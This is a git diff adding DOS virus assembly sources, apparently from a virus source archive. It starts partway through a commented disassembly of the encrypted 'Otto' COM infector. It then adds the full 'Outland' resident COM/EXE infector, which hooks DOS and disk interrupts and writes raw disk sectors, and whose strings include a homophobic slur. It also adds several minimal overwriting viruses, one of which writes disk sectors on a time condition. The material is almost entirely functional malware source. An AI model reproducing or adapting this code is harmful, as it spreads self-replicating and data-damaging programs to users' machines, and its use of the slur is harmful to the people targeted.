release in early +; June). +; +; As always, these disassemblies compile but do not run. They are +; intended to be used for "Hmm. Let's see how that group program's" +; purposes only. +; +; Data Disruptor +; RABID +; +; ~ I don't know the reason why my method outlined in Censor I didn't work. +; It could have had something to do with SMARTDRV and FSP conflicting in +; memory. Nonetheless, another method was found. +; +; (Ok. So it's not one of my best disassemblies, but at least it shows how +; one can decrypt encrypted viruses...) +; +; A scan for this virus is; +; +; # Otto - Written by Otto Schtuck +; "8A 24 32 E0 88 24 46" Otto Schtuck [Otto] *NEW* +; +; It does no damage, does not hide it's file increase, but preserves the time +; & date stamp. It does not display any message. It is a transient COM infector +; that will infect one file in the current directory each time it is run. +; +;****************************************************************************** + +file_handle equ 9Eh ; File handle location +enc_bit equ 0FFh ; Encryption bit + +code segment byte public + assume cs:code, ds:code + org 100h + +;--- +; Length of virus is 379 bytes... +;--- + +otto_vir proc far +start: + jmp short virus_entry ; Virus entry here +;--- +; This hunk of shit here looks encrypted. I couldn't be bothered to go any +; further... +;--- + +crypt_1 db 90h + db 12h, 44h, 75h, 64h, 6Eh,0C1h + db 0Eh,0EDh, 70h, 05h, 34h, 5Dh + db 77h,0EBh, 35h,0D4h, 35h, 46h + db 34h, 68h, 7Ch,0A2h, 05h,0C1h + db 24h, 49h, 34h, 4Eh, 6Ch,0F1h + db 33h,0D5h, 20h, 5Ch, 7Bh, 78h + db 08h, 88h +crypt_2 db 69h + db 0C3h, 79h + db 08h, 25h, 33h, 3Ch + db 0B0h, 61h,0F2h, 11h, 6Ah, 5Dh + db 4Eh, 25h,0CBh, 2Fh,0D4h, 35h + db 5Ah, 7Ah, 6Bh, 71h,0EBh, 2Eh + db 0CEh, 31h, 44h, 19h, 00h, 1Fh +virus_entry: + cmp al,[bx+di-14h] + popf ; Pop flags + or ax,bp + add [bx+si],al + pop si + push si + sub si,108h + pop ax + sub ax,100h + mov ds:enc_bit,al + push si + mov cx,17Bh ; 379 bytes + add si,offset crypt_2 + +decrypt: + mov ah,[si] + xor ah,al + mov [si],ah + inc si + ror al,1 ; Rotate + loop decrypt + + pop si + mov ax,enc_ax[si] + mov dh,enc_dh[si] + mov word ptr ds:[100h],ax + mov crypt_1,dh + lea dx,filespec ; Set filespec + xor cx,cx ; Search for normal files + mov ah,4Eh ; Search for first match +search_handler: + int 21h + jnc got_file + jmp quit +;--- +; Otto! If you want to save some bytes, you don't have to open the file in +; order to get it's time. There are other ways around this... +;--- + +got_file: + mov dx,file_handle ; Get file handle from DTA + mov ax,3D02h ; Open file with read/write + int 21h + mov bx,ax ; Save file handle in BX + mov ax,5700h + int 21h ; Get time/date from file + cmp cl,3 ; Check timestamp + jne found_host ; Not equal to our timestamp? + mov ah,3Eh ; Then close the file and... + int 21h ; + mov ah,4Fh ; ...Search for next match + jmp short search_handler +found_host: + push cx + push dx + call move_ptr_start ; Move file pointer to start + lea dx,[si+three_bytes] ; Set buffer space for 3 bytes + mov cx,3 ; Set for 3 bytes + mov ah,3Fh ; Read in file + int 21h + xor cx,cx ; Set registers to... + xor dx,dx ; ...absolute end of file + mov ax,4202h + int 21h ; Move file point to end + mov word ptr ptr_loc[si],ax + sub ax,3 + mov adj_ptr_loc[si],ax + call move_ptr_start + add ax,6 + mov work[si],al + mov cx,word ptr ptr_loc[si] +;--- +; Set buffer space at end of the file so that we don't waste space in the +; virus +;--- + lea dx,[si+2A4h] + mov ah,3Fh ; Read in file + int 21h + push si + mov al,work[si] + add si,offset copyright+4 + call encrypt + pop si + call move_ptr_start + mov cx,word ptr ptr_loc[si] + lea dx,[si+2A4h] ; Load effective addr + mov ah,40h ; + int 21h + jnc check_write ; + jmp short quit +check_write: + lea dx,[si+105h] ; Load effective addr + mov cx,24h + mov ah,40h ; + int 21h + push si + mov cx,17Bh ; 379 bytes + mov di,si + add di,offset copyright+1 + add si,offset crypt_2 + rep movsb ; + pop si + push si + mov al,work[si] + mov cx,17Bh ; 397 bytes + add si,offset copyright+1 + call encrypt + pop si + mov cx,17Bh ; 397 bytes + lea dx,[si+2A4h] ; Set buffer to encrypted data + mov ah,40h ; Write out the virus to the + ; file + int 21h + jc quit ; Jump if carry Set + call move_ptr_start ; Move file pointer to start + lea dx,[si+new_jump] ; Load DX with the new jump + mov ah,40h ; + mov cx,3 ; Set for 3 bytes + int 21h ; Write out the new jump + jc quit ; Jump if carry Set + pop dx + pop cx + mov cl,3 ; Set low order time with + ; our identity byte + mov ax,5701h + int 21h ; Set file date/time + mov ah,3Eh ; + int 21h ; Close the file + +;--- +; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the +; RAGE Virus we wrote... +;--- + +quit: + push si ; Save our SI + mov al,ds:enc_bit ; Load AL with value of the + ; encryption bit + xor cx,cx ; + add cx,si ; Load CX with original 3 bytes + add cx,3 ; Adjust value for offset of + ; virgin code + mov bp,103h ; Load BP with offset of 103h + ; Where the virgin code starts + mov si,bp ; Copy this location to SI + call encrypt ; Encrypt this portion of the + ; code + pop si ; Restore original SI + mov bp,offset start ; Load BP with offset of start + ; of the virgin code + jmp bp ; Jump to start of virgin code +otto_vir endp + +encrypt proc near +encryption: + mov ah,[si] + xor ah,al + mov [si],ah + inc si + ror al,1 ; Rotate + loop encryption + + retn +encrypt endp + + db 'OTTO VIRUS written by:OTTO ' +enc_ax dw 4353h ; Encryption shit loaded in AX +enc_dh db 48h ; Encryption shit loaded in DH + db 54h +adj_ptr_loc dw 4355h ; Adjusted file pointer + ; location (ptr_loc-3 bytes) +work db 4Bh ; A work buffer +ptr_loc db 20h ; File pointer location +copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES ' + db '1992 (tm.)PQR' +;--- +; Everything below here appeared as a bunch of hex shit I had to convert... +;--- + +move_ptr_start proc near + mov ax,4200h ; Move fp to start (B80042) + xor cx,cx ; (33C9) + xor dx,dx ; (33D2) + int 21h ; Call DOS (CD21) + pop dx ; (5A) + pop cx ; (59) + pop ax ; (58) + ret ; (C3) +move_ptr_start endp + +filespec db '*.COM',0 ; Location 295h + +three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh) +new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh) + push ax ; Loc 2A1h + dec bp ; Loc 2A2h + db 00h ; Loc 2A3h + +code ends + + + + end start + + + \ No newline at end of file diff --git a/o/OUTLAND.ASM b/o/OUTLAND.ASM new file mode 100755 index 0000000..e1879cb --- /dev/null +++ b/o/OUTLAND.ASM @@ -0,0 +1,1277 @@ +;************************ +;* * +;* O U T L A N D * +;* * +;* by Berkeley Breathed * +;* * +;* 5/24/1992 * +;* * +;* dist by Washington * +;* Post Writers Group * +;************************ + + +; +;The Outland Politically Incorrect Computer Virus +; +; +; +; + +code segment + assume cs:code,ds:code +copyright: + db 'Bill the Cat Lives! ',0 + +date_stamp: + dd 05249200h +checksum: + db 30 +; +; +; +; +; +; + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + inc bx ;dummy + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,ax ;dummy + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; +; +; +; + + +exit_com: + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;: + ;: + mov bx,ax ;dummy + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; +; +; +nofdisk2: + jmp nofdisk +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;: + ;: + ;: + add sp,offset top_file+100h ;: + ;: + ;: + sti ;: + ;: + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; +; +; + + xor ax,ax + push ax + mov ds,ax + mov ax,cx ;dummy + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,3344h ;dummy + mov ax,ds:[40h*4+2] ;: + ;: + ;: + cmp ax,0f000h ;: + ;: + ;: + jne nofdisk2 + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;: + ;: + ;: + cmp ax,0f000h ;: + ;: + ;: + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,bx ;dummy + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,8 ;dummy + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;: + ;: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC ( ) + lodsw + cmp ax,6969h ;dummy + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;: + ;: + jne nxt ; TEST DL,80h + lodsw ; JNZ ( ) + cmp ax,7580h + jne nxt0 +intchk: + dec si ;dummy + inc si ;dummy + inc si ;: + ;: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + inc si ;dummy + dec si ;dummy + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + nop ;dummy + pop ds + +;: +;: +;: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + nop ;dummy + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,4433h ;dummy + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + mov es,ax ;dummy + pop es + jmp go_program + +;: +;: +;: +;: +;: +;: +;: +go_shit:jmp go_program + +bad_func: + pop es + mov ah,49h + call int21h + mov bx,0ffffh + mov ah,47h ;dummy + mov ah,48h + call int21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_shit + mov cx,es + stc + adc cx,bx + mov ah,4ah + call int21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,33h ;dummy + mov ah,4ah + call int21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,7654h ;dummy + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;: + ;: + ;: +mem_ok: + pop si + push si + push ds + push cs + mov di,0 ;dummy + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + mov ax,2367h ;dummy + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;: + ;: + ;: + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +;: +;: +;: +;: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,2468h ;dummy + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,1234h ;dummy + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;: + ;: + ;: + lodsw ;: + ;: + ;: + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +;: +;: +;: +;: +;: + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + mov ax,234h ;dummy + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;: + ;: + ;: + jnz store_sec ;: + ;: + ;: + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,0 ;dummy + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + nop ;dummy + int 26h + +;: +;: +;: +;: +;: +;: +;: +;: +;: + + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + nop ;dummy + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + mov ah,33h ;dummy + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;: + ;: + + nop ;dummy + iret + +;: + + db 'by Oliver Wendell Jones ',0 + db 'Politically Incorrect Personal Computers Presents: ',0 + db 'the OLIVER VIRUS! Nya Ha Ha! ',0 + db 'Men Rule! ',0 + db 'America Kicks Butt! ',0 + db 'Rap Sucks! ',0 + db 'Eat Fatty Food! ',0 + db 'Dames Melt Like Jell-O for Naughty Men! ',0 + db 'Ted Kennedy Sucks Barney Frank`s Fag Cock! ',0 + + +;: +;: +;: + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +;: +;: +;: +;: +;: +;: +;: +;: +;: + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Berk B.',0 + +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: +;: + + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;: + ;: + ;: + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;: + ;: + ;: + ;: + jne dont_touch ;: + ;: + ;: + ;: +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +;: +;: +;: +;: + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + nop ;dummy + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + nop ;dummy + call get_byte + cmp ax,'co' + nop ;dummy + jz pos_com + cmp ax,'ex' + nop ;dummy + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +;: +;: +;: +;: + + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +;: +;: +;: + +function: + pushf + call dword ptr cs:[save_int_21] + ret + + +;: +;: +;: + +do_file: + push ds ;: + ;: + ;: + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;: + ;: + ;: + push es ;: + ;: + ;: + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;: + ;: + ;: + ;: + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;: + ;: + ;: + call function ;: + ;: + ;: + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;: + ;: + ;: + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;: + ;: + ;: + ;: + call function ;: + ;: + ;: + ;: +no_update: + xor ax,ax ;: + ;: + ;: + ;: + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;: + ;: + ;: + ;: + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + + +;: +;: +;: +;: + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;: + ;: + ;: + mov cx,18h + mov ah,3fh + call int21h + xor cx,cx + xor dx,dx + mov ax,4202h ;: + ;: + ;: + ;: + + call int21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;: + ;: + ;: + ;: + sbb dx,0 + jc stop_fuck_2 ;: + ;: + ;: + ;: + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +;: +;: +;: +;: + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + call int21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + call int21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;: + ;: + ;: + ;: + xor dx,dx + mov ax,4202h + call int21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;: + ;: + ;: + ;: + adc dx,0 + je fuck_it + ret + +;: +;: +;: +;: + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + call int21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;: + ;: + ;: + ;: + call int21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;: + ;: + ;: + ;: + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,0 ;dummy + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;: + ;: + ;: + movsb ;: + ;: + ;: + movsw ;: + ;: + ;: + xor dx,dx + mov cx,offset top_file + mov ah,40h + call int21h ;: + ;: + ;: + jc go_no_fuck ;: + ;: + ;: + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + call int21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,2233h ;dummy + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +;: +;: +;: +;: + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,11h ;dummy + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + nop ;dummy + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + nop ;dummy + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + call int21h ;: + ;: + ;: + ;: +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;: + ;: + ;: + ;: + call int21h +stop_fuck: + ret + +; +; +; +; +; +; +; +; +; +; +; +; +; +; + + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +;: +;: +;: +;: +;: +;: +;: +;: + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + nop ;dummy + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; +; +; +; +; +; +; +; + + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,3322h ;dummy + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + nop ;dummy + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; +; +; +; +; +; + +return_control: + mov ds,bx + nop ;dummy + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; +; +; +; +get_chain: + push ax + push bx + mov ah,22h ;dummy + mov ah,61h ;mod'd + inc ah ;mod'd to 62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,ax ;dummy + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; +; +; +; + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + +int21h: int 21h + ret + + db 'Banana 6000 P.I.P.C. ' + db '(C) I spell -Lightening- wrong! ',0 + +; +; +; +; +; +; +; +; + + +int_13: + cmp ah,22h ;dummy + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;: + ;: + ;: + ;: +disk: + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;: + ;: + ;: + ;: +my_save: + int 20h ;: + ;: + ;: + ;: + nop ;: + ;: + ;: +top_file: ;: + ;: + ;: + ;: +filehndl equ $ +filename equ filehndl+2 ;: + ;: + ;: + ;: + ;: +save_int_27 equ filename+65 ;: + ;: + ;: + ;: + ;: +save_int_21 equ save_int_27+4 ;: + ;: + ;: + ;: + ;: +aux_size equ save_int_21+4 ;: + ;: + ;: + ;: + ;: +top_save equ save_int_21+4 ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: + ;: +top_bz equ top_save-copyright +my_bz equ my_size-copyright +code ends + end + + \ No newline at end of file diff --git a/o/OW-27.ASM b/o/OW-27.ASM new file mode 100755 index 0000000..903cb65 --- /dev/null +++ b/o/OW-27.ASM @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh + Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh +On2: Int 21h + Mov Dl,Length +FileSpec Db '*.*',0 + Mov Bh,40h + Xchg Cx,Dx + Xchg Ax,Bx + Jmp On2 +Length Equ $-Main diff --git a/o/OW-27B.ASM b/o/OW-27B.ASM new file mode 100755 index 0000000..6861654 --- /dev/null +++ b/o/OW-27B.ASM @@ -0,0 +1,12 @@ +Lea Dx,Fs +Mov Ah,78 +Int 33 +Mov Dx,9eh +Mov Ah,61 +o1: Int 33 +Xchg Ax,Bx +Mov Dl,27 +FS Db '*.*',0 +Xchg Cx,Dx +Mov Ah,64 +Jmp o1 diff --git a/o/OW-28.ASM b/o/OW-28.ASM new file mode 100755 index 0000000..7f088fd --- /dev/null +++ b/o/OW-28.ASM @@ -0,0 +1,13 @@ +Main: Lea Dx,FileSpec + Mov Ah,4eh + Int 21h + Mov Dx,9eh + Mov Ah,3ch + Int 21h + Lea Dx,Main + Mov Bh,40h + Mov Cl,Length + Xchg Ax,Bx + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/o/OW-28B.ASM b/o/OW-28B.ASM new file mode 100755 index 0000000..7ca03b7 --- /dev/null +++ b/o/OW-28B.ASM @@ -0,0 +1,13 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ah,3ch + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/o/OW-30.ASM b/o/OW-30.ASM new file mode 100755 index 0000000..276c1ea --- /dev/null +++ b/o/OW-30.ASM @@ -0,0 +1,14 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h +On1: Ret +FileSpec Db '*.*',0 +Length Equ $-Main diff --git a/o/OW-37.ASM b/o/OW-37.ASM new file mode 100755 index 0000000..139eb02 --- /dev/null +++ b/o/OW-37.ASM @@ -0,0 +1,17 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ah,3dh + inc ax + Mov Dx,9eh + Int 21h + Mov Bh,40h + Xchg Ax,Bx + Lea Dx,Main + Mov Cl,Length + Int 21h + Mov Ah,4fh +On1: Jmp On2 +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/o/OW-42.ASM b/o/OW-42.ASM new file mode 100755 index 0000000..2d4fb96 --- /dev/null +++ b/o/OW-42.ASM @@ -0,0 +1,20 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc Ende + Mov Ax,3d01h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Length + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 +Ende: Ret +Length Equ $-Main diff --git a/o/OW-42B.ASM b/o/OW-42B.ASM new file mode 100755 index 0000000..b4975d2 --- /dev/null +++ b/o/OW-42B.ASM @@ -0,0 +1,19 @@ +Main: Mov Ah,4eh +On2: Lea Dx,FileSpec + Int 21h + jc on1 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov bh,40h + Mov Cl,Length + Lea Dx,Main + Xchg Ax,Bx + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On2 +On1: Ret +FileSpec Db '*.COM',0 +Length Equ $-Main diff --git a/o/OW0.ASM b/o/OW0.ASM new file mode 100755 index 0000000..95acd68 --- /dev/null +++ b/o/OW0.ASM @@ -0,0 +1,28 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc On2 + Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Ah + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 + Db 'Trident' +On2: Mov Ah,2ch + Int 21h + Cmp Dl,10 + Ja Ende + Mov Al,2 + Xor Dx,Dx + Int 25h +Ende: Ret +Length Equ $-Main diff --git a/o/OW1.ASM b/o/OW1.ASM new file mode 100755 index 0000000..2d4fb96 --- /dev/null +++ b/o/OW1.ASM @@ -0,0 +1,20 @@ +Main: + Mov Ah,4eh +On1: Lea Dx,FileSpec + Int 21h + Jc Ende + Mov Ax,3d01h + Mov Dx,9eh + Int 21h + Mov Bh,40h + Lea Dx,Main + Xchg Ax,Bx + Mov Cl,Length + Int 21h + Mov Ah,3eh + Int 21h + Mov Ah,4fh + Jmp On1 +FileSpec Db '*.com',0 +Ende: Ret +Length Equ $-Main diff --git a/o/OW10.ASM b/o/OW10.ASM new file mode 100755 index 0000000..121a51c --- /dev/null +++ b/o/OW10.ASM @@ -0,0 +1,20 @@ +; +; Mini-25 +; 